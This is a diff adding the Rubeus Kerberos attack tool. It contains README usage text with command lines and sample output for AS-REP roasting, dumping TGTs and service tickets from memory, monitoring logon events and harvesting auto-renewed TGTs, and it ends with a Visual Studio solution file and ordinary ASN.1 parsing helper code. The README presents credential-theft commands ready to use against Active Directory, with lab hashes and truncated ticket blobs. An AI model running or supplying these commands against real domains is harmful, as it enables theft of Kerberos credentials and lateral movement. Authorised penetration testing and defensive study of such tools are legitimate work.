|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
[*] Action: AS-REP Roasting
|
||||||
|
|
||||||
|
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||||
|
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a'
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 163 bytes
|
||||||
|
[*] Received 1537 bytes
|
||||||
|
[+] AS-REQ w/o preauth successful!
|
||||||
|
[*] AS-REP hash:
|
||||||
|
|
||||||
|
$krb5asrep$dfm.a@testlab.local:F7310EA341128...(snip)...
|
||||||
|
|
||||||
|
|
||||||
|
## dump
|
||||||
|
|
||||||
|
The **dump** action will extract current TGTs and service tickets from memory, if in an elevated context. The resulting extracted tickets can be filtered by /service (use /service:krbtgt for TGTs) and/or logon ID (the /luid:X parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the ptt function, or Mimikatz's **kerberos::ptt** functionality.
|
||||||
|
|
||||||
|
c:\Temp\tickets>Rubeus.exe dump /service:krbtgt /luid:366300
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
|
||||||
|
[*] Action: Dump Kerberos Ticket Data (All Users)
|
||||||
|
|
||||||
|
[*] Target LUID : 0x596f6
|
||||||
|
[*] Target service : krbtgt
|
||||||
|
|
||||||
|
|
||||||
|
UserName : harmj0y
|
||||||
|
Domain : TESTLAB
|
||||||
|
LogonId : 366326
|
||||||
|
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
|
||||||
|
AuthenticationPackage : Kerberos
|
||||||
|
LogonType : Interactive
|
||||||
|
LogonTime : 9/17/2018 9:05:26 AM
|
||||||
|
LogonServer : PRIMARY
|
||||||
|
LogonServerDNSDomain : TESTLAB.LOCAL
|
||||||
|
UserPrincipalName : harmj0y@testlab.local
|
||||||
|
|
||||||
|
[*] Enumerated 1 ticket(s):
|
||||||
|
|
||||||
|
ServiceName : krbtgt
|
||||||
|
TargetName : krbtgt
|
||||||
|
ClientName : harmj0y
|
||||||
|
DomainName : TESTLAB.LOCAL
|
||||||
|
TargetDomainName : TESTLAB.LOCAL
|
||||||
|
AltTargetDomainName : TESTLAB.LOCAL
|
||||||
|
SessionKeyType : aes256_cts_hmac_sha1
|
||||||
|
Base64SessionKey : AdI7UObh5qHL0Ey+n28oQpLUhfmgbAkpvcWJXPC2qKY=
|
||||||
|
KeyExpirationTime : 12/31/1600 4:00:00 PM
|
||||||
|
TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable
|
||||||
|
StartTime : 9/17/2018 4:20:25 PM
|
||||||
|
EndTime : 9/17/2018 9:20:25 PM
|
||||||
|
RenewUntil : 9/24/2018 2:05:26 AM
|
||||||
|
TimeSkew : 0
|
||||||
|
EncodedTicketSize : 1338
|
||||||
|
Base64EncodedTicket :
|
||||||
|
|
||||||
|
doIFNjCCBTKgAwIBBaEDAg...(snip)...
|
||||||
|
|
||||||
|
|
||||||
|
[*] Enumerated 4 total tickets
|
||||||
|
[*] Extracted 1 total tickets
|
||||||
|
|
||||||
|
**Note that this action needs to be run from an elevated context!**
|
||||||
|
|
||||||
|
|
||||||
|
## monitor
|
||||||
|
|
||||||
|
The **monitor** action will monitor the event log for 4624 logon events and will extract any new TGT tickets for the new logon IDs (LUIDs). The /interval parameter (in seconds, default of 60) specifies how often to check the event log. A /filteruser:X can be specified, returning only ticket data for said user. This function is especially useful on servers with unconstrained delegation enabled ;)
|
||||||
|
|
||||||
|
When the /filteruser (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output.
|
||||||
|
|
||||||
|
c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.0.0
|
||||||
|
|
||||||
|
[*] Action: TGT Monitoring
|
||||||
|
[*] Monitoring every 60 seconds for 4624 logon events
|
||||||
|
[*] Target user : dfm.a
|
||||||
|
|
||||||
|
|
||||||
|
[+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCAL\dfm.a' from '192.168.52.100'
|
||||||
|
[*] Target LUID : 0x991972
|
||||||
|
[*] Target service : krbtgt
|
||||||
|
|
||||||
|
UserName : dfm.a
|
||||||
|
Domain : TESTLAB
|
||||||
|
LogonId : 10033522
|
||||||
|
UserSID : S-1-5-21-883232822-274137685-4173207997-1110
|
||||||
|
AuthenticationPackage : Kerberos
|
||||||
|
LogonType : Network
|
||||||
|
LogonTime : 9/18/2018 2:59:02 AM
|
||||||
|
LogonServer :
|
||||||
|
LogonServerDNSDomain : TESTLAB.LOCAL
|
||||||
|
UserPrincipalName :
|
||||||
|
|
||||||
|
ServiceName : krbtgt
|
||||||
|
TargetName :
|
||||||
|
ClientName : dfm.a
|
||||||
|
DomainName : TESTLAB.LOCAL
|
||||||
|
TargetDomainName : TESTLAB.LOCAL
|
||||||
|
AltTargetDomainName : TESTLAB.LOCAL
|
||||||
|
SessionKeyType : aes256_cts_hmac_sha1
|
||||||
|
Base64SessionKey : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc=
|
||||||
|
KeyExpirationTime : 12/31/1600 4:00:00 PM
|
||||||
|
TicketFlags : name_canonicalize, renewable, forwarded, forwardable
|
||||||
|
StartTime : 9/17/2018 7:59:02 PM
|
||||||
|
EndTime : 9/18/2018 12:58:59 AM
|
||||||
|
RenewUntil : 9/24/2018 7:58:59 PM
|
||||||
|
TimeSkew : 0
|
||||||
|
EncodedTicketSize : 1470
|
||||||
|
Base64EncodedTicket :
|
||||||
|
|
||||||
|
doIFujCCBbagAwIBBaE...(snip)...
|
||||||
|
|
||||||
|
|
||||||
|
[*] Extracted 1 total tickets
|
||||||
|
|
||||||
|
**Note that this action needs to be run from an elevated context!**
|
||||||
|
|
||||||
|
|
||||||
|
## harvest
|
||||||
|
|
||||||
|
The **harvest** action takes monitor one step further. It monitors the event log for 4624 events every /interval:MINUTES for new logons, extracts any new TGT KRB-CRED files, and keeps a cache of any extracted TGTs. On the /interval, any TGTs that will expire before the next interval are automatically renewed (up until their renewal limit), and the current cache of "usable"/valid TGT KRB-CRED .kirbis are output as base64 blobs.
|
||||||
|
|
||||||
|
This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets.
|
||||||
|
|
||||||
|
c:\Rubeus>Rubeus.exe harvest /interval:30
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v0.0.1a
|
||||||
|
|
||||||
|
[*] Action: TGT Harvesting (w/ auto-renewal)
|
||||||
|
|
||||||
|
[*] Monitoring every 30 minutes for 4624 logon events
|
||||||
|
|
||||||
|
...(snip)...
|
||||||
|
|
||||||
|
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 1520 bytes
|
||||||
|
[*] Received 1549 bytes
|
||||||
|
|
||||||
|
[*] 9/17/2018 6:43:02 AM - Current usable TGTs:
|
||||||
|
|
||||||
|
User : dfm.a@TESTLAB.LOCAL
|
||||||
|
StartTime : 9/17/2018 6:43:02 AM
|
||||||
|
EndTime : 9/17/2018 11:43:02 AM
|
||||||
|
RenewTill : 9/24/2018 2:07:48 AM
|
||||||
|
Flags : name_canonicalize, renewable, forwarded, forwardable
|
||||||
|
Base64EncodedTicket :
|
||||||
|
|
||||||
|
doIFujCCBbagAw...(snip)...
|
||||||
|
|
||||||
|
**Note that this action needs to be run from an elevated context!**
|
||||||
|
|
||||||
|
|
||||||
|
## Compile Instructions
|
||||||
|
|
||||||
|
We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)
|
||||||
|
|
||||||
|
Rubeus has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "release", and build.
|
|
@ -0,0 +1,22 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 14
|
||||||
|
VisualStudioVersion = 14.0.25420.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Rubeus", "Rubeus\Rubeus.csproj", "{658C8B7F-3664-4A95-9572-A3E5871DFC06}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,19 @@
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace Asn1 {
|
||||||
|
|
||||||
|
public class AsnException : IOException {
|
||||||
|
|
||||||
|
public AsnException(string message)
|
||||||
|
: base(message)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnException(string message, Exception nested)
|
||||||
|
: base(message, nested)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,309 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Asn1 {
|
||||||
|
|
||||||
|
public static class AsnIO {
|
||||||
|
|
||||||
|
public static byte[] FindDER(byte[] buf)
|
||||||
|
{
|
||||||
|
return FindBER(buf, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] FindBER(byte[] buf)
|
||||||
|
{
|
||||||
|
return FindBER(buf, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Find a BER/DER object in the provided buffer. If the data is
|
||||||
|
* not already in the right format, conversion to string then
|
||||||
|
* Base64 decoding is attempted; in the latter case, PEM headers
|
||||||
|
* are detected and skipped. In any case, the returned buffer
|
||||||
|
* must begin with a well-formed tag and length, corresponding to
|
||||||
|
* the object length.
|
||||||
|
*
|
||||||
|
* If 'strictDER' is true, then the function furthermore insists
|
||||||
|
* on the object to use a defined DER length.
|
||||||
|
*
|
||||||
|
* The returned buffer may be the source buffer itself, or a newly
|
||||||
|
* allocated buffer.
|
||||||
|
*
|
||||||
|
* On error, null is returned.
|
||||||
|
*/
|
||||||
|
public static byte[] FindBER(byte[] buf, bool strictDER)
|
||||||
|
{
|
||||||
|
string pemType = null;
|
||||||
|
return FindBER(buf, strictDER, out pemType);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Find a BER/DER object in the provided buffer. If the data is
|
||||||
|
* not already in the right format, conversion to string then
|
||||||
|
* Base64 decoding is attempted; in the latter case, PEM headers
|
||||||
|
* are detected and skipped. In any case, the returned buffer
|
||||||
|
* must begin with a well-formed tag and length, corresponding to
|
||||||
|
* the object length.
|
||||||
|
*
|
||||||
|
* If 'strictDER' is true, then the function furthermore insists
|
||||||
|
* on the object to use a defined DER length.
|
||||||
|
*
|
||||||
|
* If the source was detected to use PEM, then the object type
|
||||||
|
* indicated by the PEM header is written in 'pemType'; otherwise,
|
||||||
|
* that variable is set to null.
|
||||||
|
*
|
||||||
|
* The returned buffer may be the source buffer itself, or a newly
|
||||||
|
* allocated buffer.
|
||||||
|
*
|
||||||
|
* On error, null is returned.
|
||||||
|
*/
|
||||||
|
public static byte[] FindBER(byte[] buf,
|
||||||
|
bool strictDER, out string pemType)
|
||||||
|
{
|
||||||
|
pemType = null;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* If it is already (from the outside) a BER object,
|
||||||
|
* return it.
|
||||||
|
*/
|
||||||
|
if (LooksLikeBER(buf, strictDER)) {
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Convert the blob to a string. We support UTF-16 with
|
||||||
|
* and without a BOM, UTF-8 with and without a BOM, and
|
||||||
|
* ASCII-compatible encodings. Non-ASCII characters get
|
||||||
|
* truncated.
|
||||||
|
*/
|
||||||
|
if (buf.Length < 3) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
string str = null;
|
||||||
|
if ((buf.Length & 1) == 0) {
|
||||||
|
if (buf[0] == 0xFE && buf[1] == 0xFF) {
|
||||||
|
// Starts with big-endian UTF-16 BOM
|
||||||
|
str = ConvertBi(buf, 2, true);
|
||||||
|
} else if (buf[0] == 0xFF && buf[1] == 0xFE) {
|
||||||
|
// Starts with little-endian UTF-16 BOM
|
||||||
|
str = ConvertBi(buf, 2, false);
|
||||||
|
} else if (buf[0] == 0) {
|
||||||
|
// First byte is 0 -> big-endian UTF-16
|
||||||
|
str = ConvertBi(buf, 0, true);
|
||||||
|
} else if (buf[1] == 0) {
|
||||||
|
// Second byte is 0 -> little-endian UTF-16
|
||||||
|
str = ConvertBi(buf, 0, false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (str == null) {
|
||||||
|
if (buf[0] == 0xEF
|
||||||
|
&& buf[1] == 0xBB
|
||||||
|
&& buf[2] == 0xBF)
|
||||||
|
{
|
||||||
|
// Starts with UTF-8 BOM
|
||||||
|
str = ConvertMono(buf, 3);
|
||||||
|
} else {
|
||||||
|
// Assumed ASCII-compatible mono-byte encoding
|
||||||
|
str = ConvertMono(buf, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (str == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Try to detect a PEM header and footer; if we find both
|
||||||
|
* then we remove both, keeping only the characters that
|
||||||
|
* occur in between.
|
||||||
|
*/
|
||||||
|
int p = str.IndexOf("-----BEGIN ");
|
||||||
|
int q = str.IndexOf("-----END ");
|
||||||
|
if (p >= 0 && q >= 0) {
|
||||||
|
p += 11;
|
||||||
|
int r = str.IndexOf((char)10, p) + 1;
|
||||||
|
int px = str.IndexOf('-', p);
|
||||||
|
if (px > 0 && px < r && r > 0 && r <= q) {
|
||||||
|
pemType = string.Copy(str.Substring(p, px - p));
|
||||||
|
str = str.Substring(r, q - r);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Convert from Base64.
|
||||||
|
*/
|
||||||
|
try {
|
||||||
|
buf = Convert.FromBase64String(str);
|
||||||
|
if (LooksLikeBER(buf, strictDER)) {
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// ignored: not Base64
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Decoding failed.
|
||||||
|
*/
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* =============================================================== */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Decode a tag; returned value is true on success, false otherwise.
|
||||||
|
* On success, 'off' is updated to point to the first byte after
|
||||||
|
* the tag.
|
||||||
|
*/
|
||||||
|
static bool DecodeTag(byte[] buf, int lim, ref int off)
|
||||||
|
{
|
||||||
|
int p = off;
|
||||||
|
if (p >= lim) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
int v = buf[p ++];
|
||||||
|
if ((v & 0x1F) == 0x1F) {
|
||||||
|
do {
|
||||||
|
if (p >= lim) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
v = buf[p ++];
|
||||||
|
} while ((v & 0x80) != 0);
|
||||||
|
}
|
||||||
|
off = p;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Decode a BER length. Returned value is:
|
||||||
|
* -2 no decodable length
|
||||||
|
* -1 indefinite length
|
||||||
|
* 0+ definite length
|
||||||
|
* If a definite or indefinite length could be decoded, then 'off'
|
||||||
|
* is updated to point to the first byte after the length.
|
||||||
|
*/
|
||||||
|
static int DecodeLength(byte[] buf, int lim, ref int off)
|
||||||
|
{
|
||||||
|
int p = off;
|
||||||
|
if (p >= lim) {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
int v = buf[p ++];
|
||||||
|
if (v < 0x80) {
|
||||||
|
off = p;
|
||||||
|
return v;
|
||||||
|
} else if (v == 0x80) {
|
||||||
|
off = p;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
v &= 0x7F;
|
||||||
|
if ((lim - p) < v) {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
int acc = 0;
|
||||||
|
while (v -- > 0) {
|
||||||
|
if (acc > 0x7FFFFF) {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
acc = (acc << 8) + buf[p ++];
|
||||||
|
}
|
||||||
|
off = p;
|
||||||
|
return acc;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get the length, in bytes, of the object in the provided
|
||||||
|
* buffer. The object begins at offset 'off' but does not extend
|
||||||
|
* farther than offset 'lim'. If no such BER object can be
|
||||||
|
* decoded, then -1 is returned. The returned length includes
|
||||||
|
* that of the tag and length fields.
|
||||||
|
*/
|
||||||
|
static int BERLength(byte[] buf, int lim, int off)
|
||||||
|
{
|
||||||
|
int orig = off;
|
||||||
|
if (!DecodeTag(buf, lim, ref off)) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
int len = DecodeLength(buf, lim, ref off);
|
||||||
|
if (len >= 0) {
|
||||||
|
if (len > (lim - off)) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
return off + len - orig;
|
||||||
|
} else if (len < -1) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Indefinite length: we must do some recursive exploration.
|
||||||
|
* End of structure is marked by a "null tag": object has
|
||||||
|
* total length 2 and its tag byte is 0.
|
||||||
|
*/
|
||||||
|
for (;;) {
|
||||||
|
int slen = BERLength(buf, lim, off);
|
||||||
|
if (slen < 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
off += slen;
|
||||||
|
if (slen == 2 && buf[off] == 0) {
|
||||||
|
return off - orig;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool LooksLikeBER(byte[] buf, bool strictDER)
|
||||||
|
{
|
||||||
|
return LooksLikeBER(buf, 0, buf.Length, strictDER);
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool LooksLikeBER(byte[] buf, int off, int len, bool strictDER)
|
||||||
|
{
|
||||||
|
int lim = off + len;
|
||||||
|
int objLen = BERLength(buf, lim, off);
|
||||||
|
if (objLen != len) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (strictDER) {
|
||||||
|
DecodeTag(buf, lim, ref off);
|
||||||
|
return DecodeLength(buf, lim, ref off) >= 0;
|
||||||
|
} else {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static string ConvertMono(byte[] buf, int off)
|
||||||
|
{
|
||||||
|
int len = buf.Length - off;
|
||||||
|
char[] tc = new char[len];
|
||||||
|
for (int i = 0; i < len; i ++) {
|
||||||
|
int v = buf[off + i];
|
||||||
|
if (v < 1 || v > 126) {
|
||||||
|
v = '?';
|
||||||
|
}
|
||||||
|
tc[i] = (char)v;
|
||||||
|
}
|
||||||
|
return new string(tc);
|
||||||
|
}
|
||||||
|
|
||||||
|
static string ConvertBi(byte[] buf, int off, bool be)
|
||||||
|
{
|
||||||
|
int len = buf.Length - off;
|
||||||
|
if ((len & 1) != 0) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
len >>= 1;
|
||||||
|
char[] tc = new char[len];
|
||||||
|
for (int i = 0; i < len; i ++) {
|
||||||
|
int b0 = buf[off + (i << 1) + 0];
|
||||||
|
int b1 = buf[off + (i << 1) + 1];
|
||||||
|
int v = be ? ((b0 << 8) + b1) : (b0 + (b1 << 8));
|
||||||
|
if (v < 1 || v > 126) {
|
||||||
|
v = '?';
|
||||||
|
}
|
||||||
|
tc[i] = (char)v;
|
||||||
|
}
|
||||||
|
return new string(tc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,294 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Asn1 {
|
||||||
|
|
||||||
|
public class AsnOID {
|
||||||
|
|
||||||
|
static Dictionary<string, string> OIDToName =
|
||||||
|
new Dictionary<string, string>();
|
||||||
|
static Dictionary<string, string> NameToOID =
|
||||||
|
new Dictionary<string, string>();
|
||||||
|
|
||||||
|
static AsnOID()
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
* From RFC 5280, PKIX1Explicit88 module.
|
||||||
|
*/
|
||||||
|
Reg("1.3.6.1.5.5.7", "id-pkix");
|
||||||
|
Reg("1.3.6.1.5.5.7.1", "id-pe");
|
||||||
|
Reg("1.3.6.1.5.5.7.2", "id-qt");
|
||||||
|
Reg("1.3.6.1.5.5.7.3", "id-kp");
|
||||||
|
Reg("1.3.6.1.5.5.7.48", "id-ad");
|
||||||
|
Reg("1.3.6.1.5.5.7.2.1", "id-qt-cps");
|
||||||
|
Reg("1.3.6.1.5.5.7.2.2", "id-qt-unotice");
|
||||||
|
Reg("1.3.6.1.5.5.7.48.1", "id-ad-ocsp");
|
||||||
|
Reg("1.3.6.1.5.5.7.48.2", "id-ad-caIssuers");
|
||||||
|
Reg("1.3.6.1.5.5.7.48.3", "id-ad-timeStamping");
|
||||||
|
Reg("1.3.6.1.5.5.7.48.5", "id-ad-caRepository");
|
||||||
|
|
||||||
|
Reg("2.5.4", "id-at");
|
||||||
|
Reg("2.5.4.41", "id-at-name");
|
||||||
|
Reg("2.5.4.4", "id-at-surname");
|
||||||
|
Reg("2.5.4.42", "id-at-givenName");
|
||||||
|
Reg("2.5.4.43", "id-at-initials");
|
||||||
|
Reg("2.5.4.44", "id-at-generationQualifier");
|
||||||
|
Reg("2.5.4.3", "id-at-commonName");
|
||||||
|
Reg("2.5.4.7", "id-at-localityName");
|
||||||
|
Reg("2.5.4.8", "id-at-stateOrProvinceName");
|
||||||
|
Reg("2.5.4.10", "id-at-organizationName");
|
||||||
|
Reg("2.5.4.11", "id-at-organizationalUnitName");
|
||||||
|
Reg("2.5.4.12", "id-at-title");
|
||||||
|
Reg("2.5.4.46", "id-at-dnQualifier");
|
||||||
|
Reg("2.5.4.6", "id-at-countryName");
|
||||||
|
Reg("2.5.4.5", "id-at-serialNumber");
|
||||||
|
Reg("2.5.4.65", "id-at-pseudonym");
|
||||||
|
Reg("0.9.2342.19200300.100.1.25", "id-domainComponent");
|
||||||
|
|
||||||
|
Reg("1.2.840.113549.1.9", "pkcs-9");
|
||||||
|
Reg("1.2.840.113549.1.9.1", "id-emailAddress");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* From RFC 5280, PKIX1Implicit88 module.
|
||||||
|
*/
|
||||||
|
Reg("2.5.29", "id-ce");
|
||||||
|
Reg("2.5.29.35", "id-ce-authorityKeyIdentifier");
|
||||||
|
Reg("2.5.29.14", "id-ce-subjectKeyIdentifier");
|
||||||
|
Reg("2.5.29.15", "id-ce-keyUsage");
|
||||||
|
Reg("2.5.29.16", "id-ce-privateKeyUsagePeriod");
|
||||||
|
Reg("2.5.29.32", "id-ce-certificatePolicies");
|
||||||
|
Reg("2.5.29.33", "id-ce-policyMappings");
|
||||||
|
Reg("2.5.29.17", "id-ce-subjectAltName");
|
||||||
|
Reg("2.5.29.18", "id-ce-issuerAltName");
|
||||||
|
Reg("2.5.29.9", "id-ce-subjectDirectoryAttributes");
|
||||||
|
Reg("2.5.29.19", "id-ce-basicConstraints");
|
||||||
|
Reg("2.5.29.30", "id-ce-nameConstraints");
|
||||||
|
Reg("2.5.29.36", "id-ce-policyConstraints");
|
||||||
|
Reg("2.5.29.31", "id-ce-cRLDistributionPoints");
|
||||||
|
Reg("2.5.29.37", "id-ce-extKeyUsage");
|
||||||
|
|
||||||
|
Reg("2.5.29.37.0", "anyExtendedKeyUsage");
|
||||||
|
Reg("1.3.6.1.5.5.7.3.1", "id-kp-serverAuth");
|
||||||
|
Reg("1.3.6.1.5.5.7.3.2", "id-kp-clientAuth");
|
||||||
|
Reg("1.3.6.1.5.5.7.3.3", "id-kp-codeSigning");
|
||||||
|
Reg("1.3.6.1.5.5.7.3.4", "id-kp-emailProtection");
|
||||||
|
Reg("1.3.6.1.5.5.7.3.8", "id-kp-timeStamping");
|
||||||
|
Reg("1.3.6.1.5.5.7.3.9", "id-kp-OCSPSigning");
|
||||||
|
|
||||||
|
Reg("2.5.29.54", "id-ce-inhibitAnyPolicy");
|
||||||
|
Reg("2.5.29.46", "id-ce-freshestCRL");
|
||||||
|
Reg("1.3.6.1.5.5.7.1.1", "id-pe-authorityInfoAccess");
|
||||||
|
Reg("1.3.6.1.5.5.7.1.11", "id-pe-subjectInfoAccess");
|
||||||
|
Reg("2.5.29.20", "id-ce-cRLNumber");
|
||||||
|
Reg("2.5.29.28", "id-ce-issuingDistributionPoint");
|
||||||
|
Reg("2.5.29.27", "id-ce-deltaCRLIndicator");
|
||||||
|
Reg("2.5.29.21", "id-ce-cRLReasons");
|
||||||
|
Reg("2.5.29.29", "id-ce-certificateIssuer");
|
||||||
|
Reg("2.5.29.23", "id-ce-holdInstructionCode");
|
||||||
|
Reg("2.2.840.10040.2", "WRONG-holdInstruction");
|
||||||
|
Reg("2.2.840.10040.2.1", "WRONG-id-holdinstruction-none");
|
||||||
|
Reg("2.2.840.10040.2.2", "WRONG-id-holdinstruction-callissuer");
|
||||||
|
Reg("2.2.840.10040.2.3", "WRONG-id-holdinstruction-reject");
|
||||||
|
Reg("2.5.29.24", "id-ce-invalidityDate");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* These are the "right" OID. RFC 5280 mistakenly defines
|
||||||
|
* the first OID element as "2".
|
||||||
|
*/
|
||||||
|
Reg("1.2.840.10040.2", "holdInstruction");
|
||||||
|
Reg("1.2.840.10040.2.1", "id-holdinstruction-none");
|
||||||
|
Reg("1.2.840.10040.2.2", "id-holdinstruction-callissuer");
|
||||||
|
Reg("1.2.840.10040.2.3", "id-holdinstruction-reject");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* From PKCS#1.
|
||||||
|
*/
|
||||||
|
Reg("1.2.840.113549.1.1", "pkcs-1");
|
||||||
|
Reg("1.2.840.113549.1.1.1", "rsaEncryption");
|
||||||
|
Reg("1.2.840.113549.1.1.7", "id-RSAES-OAEP");
|
||||||
|
Reg("1.2.840.113549.1.1.9", "id-pSpecified");
|
||||||
|
Reg("1.2.840.113549.1.1.10", "id-RSASSA-PSS");
|
||||||
|
Reg("1.2.840.113549.1.1.2", "md2WithRSAEncryption");
|
||||||
|
Reg("1.2.840.113549.1.1.4", "md5WithRSAEncryption");
|
||||||
|
Reg("1.2.840.113549.1.1.5", "sha1WithRSAEncryption");
|
||||||
|
Reg("1.2.840.113549.1.1.11", "sha256WithRSAEncryption");
|
||||||
|
Reg("1.2.840.113549.1.1.12", "sha384WithRSAEncryption");
|
||||||
|
Reg("1.2.840.113549.1.1.13", "sha512WithRSAEncryption");
|
||||||
|
Reg("1.3.14.3.2.26", "id-sha1");
|
||||||
|
Reg("1.2.840.113549.2.2", "id-md2");
|
||||||
|
Reg("1.2.840.113549.2.5", "id-md5");
|
||||||
|
Reg("1.2.840.113549.1.1.8", "id-mgf1");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* From NIST: http://csrc.nist.gov/groups/ST/crypto_apps_infra/csor/algorithms.html
|
||||||
|
*/
|
||||||
|
Reg("2.16.840.1.101.3", "csor");
|
||||||
|
Reg("2.16.840.1.101.3.4", "nistAlgorithms");
|
||||||
|
Reg("2.16.840.1.101.3.4.0", "csorModules");
|
||||||
|
Reg("2.16.840.1.101.3.4.0.1", "aesModule1");
|
||||||
|
|
||||||
|
Reg("2.16.840.1.101.3.4.1", "aes");
|
||||||
|
Reg("2.16.840.1.101.3.4.1.1", "id-aes128-ECB");
|
||||||
|
